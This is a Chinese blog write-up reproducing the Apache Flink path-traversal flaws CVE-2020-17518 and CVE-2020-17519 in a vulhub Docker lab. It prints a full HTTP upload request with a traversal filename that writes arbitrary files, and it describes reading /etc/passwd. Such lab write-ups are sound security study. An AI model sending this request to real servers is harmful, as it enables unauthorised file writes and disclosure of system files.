0x00简介
Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用<typo id="typo-50" data-origin="与" ignoretag="true">与</typo>实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
image0x01漏洞概述
CVE-2020-17519
Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
CVE-2020-17518
Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。
0x02影响范围
CVE-2020-17519
1.11.0
1.11.1
1.11.2
CVE-2020-17518
Flink 1.5.1-1.11.2
0x03环境搭建
1.本次漏洞环境使用vulhub的docker环境搭建,vulhub下载地址:
https://github.com/vulhub/vulhub/
2.下载完成后传入装有docker和docker-compose环境的虚拟机,进入目录
cd vulhub-master/flink/CVE-2020-17519/
image3.使用docker-compose up -d 拉取漏洞环境,因17519的漏洞环境版本是1.11.2所以复现两个漏洞只需要一个漏洞环境即可。出现”done”表示拉取成功
image4.在浏览器输入http://your-ip:8081查看页面
image0x04漏洞复现
CVE-2020-17518复现
1、首先我们先使用CVE-2020-17518漏洞写入文件,在首页抓包构造以下构建数据包进行发送
POST /jars/upload HTTP/1.1
Host: your-ip:8081
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=--------721072898
Content-Length: 149
----------721072898
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../tmp/success"
success
----------721072898--
image image2.上面数据包返回的虽然是400但是已经写入到docker中,进去docker查看
imageCVE-2020-17519复现
1.上面写入后要是不能进入docker查看这里可以利用CVE-2020-17519漏洞进行文件读取,在页面首页输入以下payload查看tmp目录下的文件
image2.修改后面的payload改为查看etc下的passwd文件
image0x05修复建议
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